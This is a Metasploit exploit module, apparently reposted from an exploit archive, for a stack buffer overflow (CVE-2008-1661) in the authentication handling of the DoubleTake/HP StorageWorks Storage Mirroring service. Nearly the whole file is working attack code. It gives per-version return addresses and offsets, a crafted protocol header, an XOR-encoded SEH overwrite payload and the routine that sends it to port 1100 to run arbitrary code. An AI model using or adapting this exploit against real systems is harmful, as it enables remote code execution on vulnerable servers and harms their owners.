DoubleTake/HP StorageWorks Storage Mirroring Service – Authentication Overflow (Metasploit)
## # $Id: doubletake.rb 9669 2010-07-03 03:13:45Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'DoubleTake/HP StorageWorks Storage Mirroring Service Authentication Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the authentication mechanism of NSI Doubletake which is also rebranded as HP Storage Works. This vulnerability was found by Titon of Bastard Labs. }, 'Author' => [ 'ri0t <ri0t[at]ri0tnet.net>' ], 'Version' => '$Revision: 9669 $', 'References' => [ ['CVE', '2008-1661' ], ['OSVDB', '45924' ], ], 'Privileged' => false, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 500, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ ['doubletake 4.5.0', { 'Ret' => 0x006f5fa7, 'Offset' => 5544 } ], ['doubletake 4.4.2', { 'Ret' => 0x0074e307, 'Offset' => 944 } ], ['doubletake 4.5.0.1819', { 'Ret' => 0x006e62dd, 'Offset' => 5544 } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 04 2008' )) register_options( [ Opt::RPORT(1100) ], self.class) end def exploit connect print_status("Trying target #{target.name}...") header = "\x00\x02\x00\x01\x27\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x36\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01"+ "\x00\x00\x00\x1e\x00\x00\x00\x01\x00\x01" xor = Rex::Encoding::Xor::Byte filler = rand_text_english(1) * (target['Offset']) seh = generate_seh_payload(target.ret) buffercoded = xor.encode(seh+payload.encoded, [0xf0].pack("C")) sploit = header + filler + buffercoded[0] sock.put(sploit) handler disconnect end end |